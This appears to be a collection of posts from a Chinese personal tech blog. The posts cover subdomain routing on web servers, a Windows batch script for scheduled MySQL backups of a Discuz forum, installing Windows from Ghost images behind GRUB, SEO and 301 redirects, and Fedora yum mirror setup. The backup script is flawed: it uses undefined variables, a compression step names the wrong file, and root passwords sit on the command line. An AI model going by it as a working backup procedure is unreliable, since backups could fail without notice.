这个问题,其实还是请求分配的问题。现在的情况是:默认站点对应的是一个特定的目录,也就是这些所有子域名,都是靠同样的处理程序实现的。不同的用户有同的用户id号。如果有这个id号,我们就可以根据这个id号,向浏览器输出相应的页面(一般是从数据库里读取出来相应的数据,并形成动态页面)。就是要根据用户id号来作为区分标准,显示不同的页面,现在我们没有这个id号,但我们可以根据子域名的最前一段进行区分。也就是,我们可以根据用户的用户名(或是让用户自己设定的一个子域名)分配子域名给每个用户,而在服务器端的处理程序上,根据用户子域名,从数据库里查询出该用户的id号,接下来,就是常规的程序了,这里就不需多讲了。

 

这里有一个问题,如果一台web服务器上配置了10个域名,浏览器向这台服务器发送一个http请求包,这个请求包里如果包含的是这10个域名其中之一,是没有问题的,可以正确得到结果。但如果请求的是这10个域名之外的域名,返回什么结果呢?

 

综合讲一下域名及web服务器。域名服务器与web服务器是相互隔离的,我们要建网站,就至少要做两个工作:注册域名及对域名的设置,购置web服务器(可以是实际的服务器也可以是虚拟主机)及对web服务器的设置。详细过程大致如下:

  1. 注册域名。(获得了域名及对域名解析到ip地址的管理权)
  2. 购买web服务器。(获得web服务器ip地址及web服务器主机名——也就是域名——的设置权)
  3. 把域名解析到web服务器的ip地址上。一般使用A记录解析。
  4. 把域名“绑定”到web服务器上。使用apache独立主机的话修改apache配置文件,iis的话在iis管理器里,从虚拟主机商购买的虚拟主机的话在的管理后台里。

后两步的设置工作,是缺一不可的。

可以这样讲,因为 域名服务器与web服务器是相互隔离的,所以要建站,就要对域名及web服务器做双向指向:要让域名知道web服务器的存在(域名解析),还要让主机知道域名的存在(域名绑定)

(未完待续)

------------------------- 以下是计划写入的主题条目,实际可能会有适当增减 -------------------------------

服务器特性:相对性;从来都是被动的,从来不主动向任何对象发送数据,而是只在收到请求后才响应;“伺服器”的名称更体现这特点。

dns解析,tcp/ip网络的数据库传输必需得到对方的ip地址才能进行。

http封包

osi七层及tcp/ip

网络数据传输(局域网广域网交换机路由器)简述

web服务器

防火墙

http请求包的拆解,http请求包的分配(被web服务器分配到相应的站点,默认站点)

HTTP变量赋值,rewrite

web语言脚本解析引擎

http响应包的封装,脚本引擎生成部分,再由web服务器补充

http响应状态码

http无状态性及patch方案

cookie,session,不同语言的session机制,不互通

浏览器解析html文档,载入内嵌媒体(图片,js,css等),cookie

http连接保持

客户端脚本javascript执行,js事件触发,ajax

排版引擎

web server的多站点原理,

程序并发性,冲突:

正在进行的一个操作,受到了另一个操作运行的影响,就有可以造成并发访问问题。

(正在进行的一个操作的结果,影响了另一个操作进行的条件)

在一个操作操作完成所需要的时间段内,有另外一个操作也对该资源进行可能冲突访问(一般是“写”),就很有可能造成并发冲突

 

windows下mysql自动定期备份并压缩/以discuz论坛为例

工作环境 Windows Server 2003 ,MySQL安装目录 D:\Program Files\MySQL\MySQL Server 5.0 , WinRAR 安装目录 C:\Program Files\WinRAR
备份数据存储的路径为 E:\dataBackup\MySQL .下面即是windows命令行批处理命令的源文件

代码如下:

set d=%date:~0,10%
set d=%d:-=%
set t=%time:~0,8%
set t=%t::=%
set dzxpath=dzx%p%%d%%t%.sql
set ucpath=uc%p%%d%%t%.sql
set folder=E:\dataBackup\MySQL\
echo off

"D:\Program Files\MySQL\MySQL Server 5.0\bin\mysqldump.exe" -hlocalhost --opt -uroot -pyoumysqlrootpassword discuzx > "%folder%%dzxpath%"
"C:\Program Files\WinRAR\RAR.exe" a -ep1 -r -o+ -m5 -s -df "%folder%%dzxpath%".rar "%folder%%dzxpath%"
"D:\Program Files\MySQL\MySQL Server 5.0\bin\mysqldump.exe" -hlocalhost --opt -uroot -pyoumysqlrootpassword discuzuc uc_admins uc_applications uc_badwords uc_domains uc_failedlogins uc_feeds uc_friends uc_mailqueue uc_memberfields uc_members uc_mergemembers uc_newpm uc_notelist uc_pms uc_protectedmembers uc_settings uc_sqlcache uc_tags uc_vars > "%folder%%ucpath%"
"C:\Program Files\WinRAR\RAR.exe" a -ep1 -r -o+ -m5 -s -df "%folder%%ucpath%".rar "%folder%%dzxpath%"
rem echo "D:\Program Files\MySQL\MySQL Server 5.0\data\discuzx\%filepath%"

"D:\Program Files\MySQL\MySQL Server 5.0\bin\mysqldump.exe" -hlocalhost --opt -e --max_allowed_packet=1048576 --net_buffer_length=16384 -uroot -pyourrootpasswd discuzx > "%folder%%dzxpath%"
rem "C:\Program Files\WinRAR\RAR.exe" a -ep1 -r -o+ -m5 -s -df "%folder%%dzxpath%".rar "%folder%%dzxpath%" 

"D:\Program Files\MySQL\MySQL Server 5.0\bin\mysqldump.exe" -hlocalhost --opt -e --max_allowed_packet=1048576 --net_buffer_length=16384 -uroot -pyourrootpassw mydb > "%folder%%mydbpath%"

"C:\Program Files\WinRAR\RAR.exe" a -ep1 -r -o+ -m5 -s -df "%folder%%mydbpath%".rar "%folder%%mydbpath%"  "%folder%%dzxpath%"
rem echo "D:\Program Files\MySQL\MySQL Server 5.0\data\discuzx\%filepath%"
rem pause

----------------------

可以直接下载该.bat批处理文件: mysql_dump

这里需要使用winrar,假定安装在 C:\Program Files\WinRAR\ 上面代码里使用的是 rar.exe 这个命令行版的rar工具(推荐),而不是winrar.exe这个图形化版本。当然要检查你的winrar安装目录里是否有rar.exe这个文件,如果没有,建议重新下载完整版的winrar.

这里假定需要备份数据库discuzx与discuzuc中的几个表(ucenter表) [如果升级安装discuzx,而又没有把ucenter导入discuzx的库里,就是这种情况]

把上面的命令保存为 mysql_dump.bat ,双击即可运行。为了实现无人值守的自动化处理,可以通过系统的任务计划定期执行这个命令。

如不会windows任务计划请自行搜索学习,这里恕不赘述。

无MBR引导记录,以直接复制文件的方式变态的安装windows

背景:

普通笔记本电脑,新换了一只500G硬盘,安装操作系统时,基于把Linux/fedora作为首选OS的原因,规划分区如下

sda1  ext2  linux /boot  1G
sda2  扩展分区
sda5  ext3  linux /   30G
sda6  ntfs   windows安装分区C   36G
sda7  ext3  linux  /home 120G
sda8  swap  linux  swap 3.5G  [3G内存,为了使用休眠功能需要交换分区,至少应该等于物理内存大小]
sda9  ext3  linux  /data  140G
sda10  ntfs  win_D 30G
sda11  fat32  win_E
sda12 ntfs win_F
[注:无sda3与sda4的主分区]

linux在前些天早已经安装成功;有时候需要用windows,以前是用windows2003,有以前的windows2003的C盘ghost备份文件,直接还原到sda6,却无法启动。经过几天的探索学习,找到解决方法:

在Linux(fedora14 gnome)下,使用fedora自带的“硬盘实用工具”,把sda6重新格式化,格式化时选中“可启动”——这一非常重要,之前不能启动就是这个原因——然后启动windowsPE,使用Ghost镜像浏览器ghostxp,把所有文件提取到sda6,之后修改boot.ini,把其中启动项目修改为如下形式(注意其中粗体红字):

multi(0)disk(0)rdisk(0)partition(3)\WINDOWS="Windows Server 2003, Enterprise" /noexecute=optout /fastdetect

sda6在windows启动引导对硬盘分区的识别,sda6是partition(3) 。个人对windows启动分区计算方式不熟悉,可能就是windows计算机管理-磁盘管理 里面显示的分区从左到右依次排序,如果不确定,可以试一下其它数字。再次启动,在grub里执行

root (hd0,5)
chainloader +1
boot

进行引导windows。至此windows安装成功。(下面还有第二个windows操作系统的安装)

这一过程中其中几点注意事项及问题:

1. 因为对“window系统安装程序,不管三七二十一的要重写mbr的行为”感觉到非常不满,加上全新重新安装系统后还要安装驱动程序、常用程序太麻烦,所以起初不考虑使用安装盘安装而是使用ghost备份。启动时使用grub 引导windows启动分区。

2. 使用ghost还原,不能正常引导,于是考虑使用windows安装光盘全新安装,但在选择windows安装分区时,却得到提示说硬盘配置与windows不兼容,无法继续,可能就是因为sda1 (或是sda的mbr)是linux分区,windows不认所致。所以只能使用ghost备份入手了。

3. 格式化启动分区时,要格式化为“可引导”,这一点非常重要。起初发现直接ghost还原无法启动时,判断是因为sda6的启动分区中没有正常的启动扇区,于是使用安装光盘进入系统修复模式,以 fixboot 命令执行重建系统分区的引导扇区,但结果还是不能启动。

虽然windows2003在绝大多数跟xp是一致的,但有少数程序却无法在03下运行。也正是因为要一个游戏,它无法在windows2003运行,于是考虑还需要安装一个xp,之前没有做过xp的ghost镜像。因为无聊,加上无法使用全新安装光盘进行,所以准备使用网上的ghost版安装。网上的ghost都是没有完全安装完成的,还原后,还要进行几个步骤。

网上下载来的ghost镜像,都是要安装到C盘的,尝试安装到别的盘里,出错而无法继续进行,看来只能从C盘安装。于是想到了一个很巧妙的方法:在C盘下新建一个文件夹,并把C盘下的所有windows2003的文件转移到这个文件里,然后到windowsPE下,把xp的gho镜像里所有文件提取到C盘根目录里,修改boot.ini,跟上而安装03类似(这几个步骤当然不能在windows03下进行,我在PE里进行)。

然后重启动电脑,以grub启动sda6下的系统,就是ghost释放的分区,这步就是启动ghost安装的后面几步(自动进行,不受人工控制的)。这样正常安装xp到C盘下,安装完成后,进入xp,把ghost里带的没用的东西卸载掉,最好卸载所有程序。

再次启动到PE或linux里,把C盘下所有xp的文件复制到sda11里,并个性C盘下的boot.ini,加入

multi(0)disk(0)rdisk(0)partition(8)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect /DETECTHAL

作为sda11的引导项目。

启动windows,进入sda11的xp,这时这个XP应该能正常工作,但它还是要依赖C盘下的不少文件,因为ghost系统的注册表里写入了大量对C盘文件的注册项,而不是使用当前系统所在的E盘里的文件。这里就需要修改注册表,把对C盘文件的注册项全部个性成对E盘的引用项,windows自带的注册表编辑器没有“替换”的功能,手工替换会累死人:替换了几个,感觉这样的项目太多了,因为看到有大量的SID项目,单这些项目就有至少几百条。于是网上查找注册表批量替换工具,还真的有,下载使用。查找 C:\,并全部替换成为 E:\

替换完成后,重启系统,发现C盘下的 Program Files ,windows等目录可以执行重命名操作了;而在之前,是无法对其进行改名的。这就证明 E盘下的xp已经不再使用C盘的文件了。

至此,两个windows都以相当变态的方法安装成功。整个过程前后花费了将近一个月时间,当然不是这一个月时间别的什么事情没干,就在搞这东西的,是一个月的闲暇时间。

以前还曾尝试过把虚拟机里的C盘备份出来,拷到实际硬盘上,尝试引导,不过引导过程中蓝屏死机,没有成功过,可能是驱动不配所致吧.

其实操作系统也都只是一系列文件,windows也是如此,相比linux,它的特点之一,就是注册表,大量配置信息都 在注册表里,只要修改得当,应该还是有很大的配置灵活性的。还有就是它的启动方式,跟linux不一样,它是要求使用一个可引导分区引导系统,严格说是启动导入系统ntldr(在vista/win7上是bootmgr),再由引导系统按照boot.ini加载相应分区下的windows的系统。

这里所述,其中有个人总结出来的,可能不全正确,还请高手多多指正。

http://www.path8.net/tn/archives/3995

http://www.path8.net/tn/archives/4065

小心SEO雷区:网站结构更改时,对网页做301转向

小心雷区:网站结构更改时,对网页做301转向

真实案例://真实域名已隐去
1. 原域名show.my-domain.com 曾经使用301转向永久重定向到www.my-domain.com.cn ,但经alexa监测,www.my-domain.com.cn,的流量并没有增加,而show.my-domain.com的流量自然已经不在。
2. xxx大词典my-dic.cn因域名备案问题而转到dict.my-domain.com下,经alexa监测,my-domain.com的流量也没有真正增长,同样my-dic.cn流量也已不在。

原因分析:
把A域名的一部分(或全部)流量转向到B域名,通过301转向是一个很直接的思路,但效果可能并不如预期。
a 搜索引擎很可能并不会把其收录的网址库中的A域名的链接直接指向到B域名
b SE把链接指向B域名,但A域名下页面的权重(PR值)并不能传递给B域名下页面,即页面www.domain-B.com/path/page.html并不具有页面www.domain-A.com/path/page.html的PR值,所以在搜索结果页里,B域名下页面的排名优先度不高,甚至因为权重过低而被SE清出网址库
猜想:如果把A域名下页面转到一个没有启用过的独立域名C下面,效果可能会好一点(独立域名指形式如www.new-domain.comr的域名,而不是name.domain-A.com这样形式的子域名)。 这只是猜测,缺乏有力证据。(曾经个人的一个站点转向到新域名,基本没有受到多大影响,当然该站点流量很小,不算是典型案例)

结论:
如果不是非常必要,一般不要对站点中页面做批量301转向,更不能批量302. 如果需要把某个站点(或站点中某个频道)的访客转到新的域名上,可以修改页面上入口链接的形式实现,而不是通过http转向的手段引导搜索引擎。

这是本人工作中的一点经验,可能其中的做法有不当之处才导致这个结果,如果哪位朋友有这方面的操作经验,敬请交流:boter1#126.com,或在此留言http://www.path8.net/tn/archives/4034

fedora配置国内yum更新源/以配置163开源镜像为例

fedora自带的yum更新源有时更新很慢,只有几K的下载速度,所以配置国内的yum更新源是很有必要的。

公网网络里使用163开源镜像是一个很好的选择,http://mirrors.163.com/ ,里面有很多个项目的yum源,而且在最右一栏里还配有说明文档,按其中如下部分操作


使用说明

下载fedora-163.repofedora-updates-163.repo, 放入/etc/yum.repos.d/

运行yum makecache生成缓存

推荐操作方法,转到配置目录,wget下载这两个文件:

[root@fsc feng]# cd /etc/yum.repos.d
[root@fsc yum.repos.d]# wget http://mirrors.163.com/.help/fedora-163.repo
[root@fsc yum.repos.d]# wget http://mirrors.163.com/.help/fedora-updates-163.repo
[root@fsc yum.repos.d]# yum makecache

最后一步,yum makecache 速度比较慢,可能要花几分钟时间,慢慢等就是了。之后再运行yum安装更新等命令时,速度将有极加增加。

就个人使用,感觉163的源有时会缺少部分包,这时,还是要到其它源里下载,这时速度就不能保证了。

以直接复制文件的方式,安装不依赖MBR的windows(grub启动)

500G硬盘,规划分区如下(图从略),

sda1  ext2  linux /boot

sda2  扩展分区

sda5  ext3  linux /

sda6  ntfs   windows安装分区

下略

使用linux格式化要安装windows的分区,格式化时要选中“可启动”的选项(这一点很重要),然后启动windows PE,启动ghostEXP,从ghost备份中“提取”出所有文件到所在分区,并把boot.ini里的分区设定修改一下,应该就可以正常启动进入windows了

能打开chm文件、但打开文档导航内容时显示:无法找到:mk@MSitstore:\\.....html.请确保路径或Internet地址正确

下载一个“Windows XP电脑维护工具箱”,点里面的“其他综合设置”,把“IE主页”一输入框清空(当然不清也可以,只是它会修改ie首页),其它的表单项不用改,再点下“执行”就可以了。

这是官方下载
http://www.sangsan.cn/article/soft/130.htm

把alexa工具栏显示在状态栏

这里只讲firefox版,IE用户请绕行,如有兴趣请参看本站其它更多精彩文章。

alexa 工具栏是很多站长或有互联网技术背景人士的重要参考工具,但默认安装时它位于firefox的工具栏上,占据一行的高度,对于宽屏显示器而言,很是浪费空间,所以有必要只让它占据一个较小的位置。

不过写本文第一版时(2011-02-11),中文版alexa工具栏插件并没有“显示到状态栏”的选项,目前是否有,不清楚,但还是推荐到英文站http://www.alexa.com/ 上下载,就是这里http://www.alexa.com/toolbar

此版本是可以自动识别语言的,对于中文版的OS+firefox,它将自动显示为中文。点工具栏右侧“齿轮图标 - 语言”,改为“Alexa Internet”,

再进入 “齿轮图标 - Option”,就可以看到“显示在状态栏(show status bar)”的选项了

就是如上图所示的设置界面,很简单。

------------更新于2011-05-14

------------------下面是2011-02-11时的文章,此法目前已经失效;仅供备份参考--------

alexa 工具栏是很多站长的重要参考工具,但默认安装时它位于firefox的工具栏上,占据一行的高度,对于宽屏显示器而言,很是浪费空间,所以有必要只让它占据一个较小的位置。

不过目前中文版的插件没有这个选项,需要到英文站上下载http://www.alexa.com/

就是这里http://www.alexa.com/toolbar

目前的版本是可以自动识别语言的,就是如上图所示的设置界面,很简单。

alexa工具栏显示在浏览器状态栏

一句话,到alexa英文站上下载工具栏,就可以了。

------2011 年 02 月 11 日 09:55:19------------------------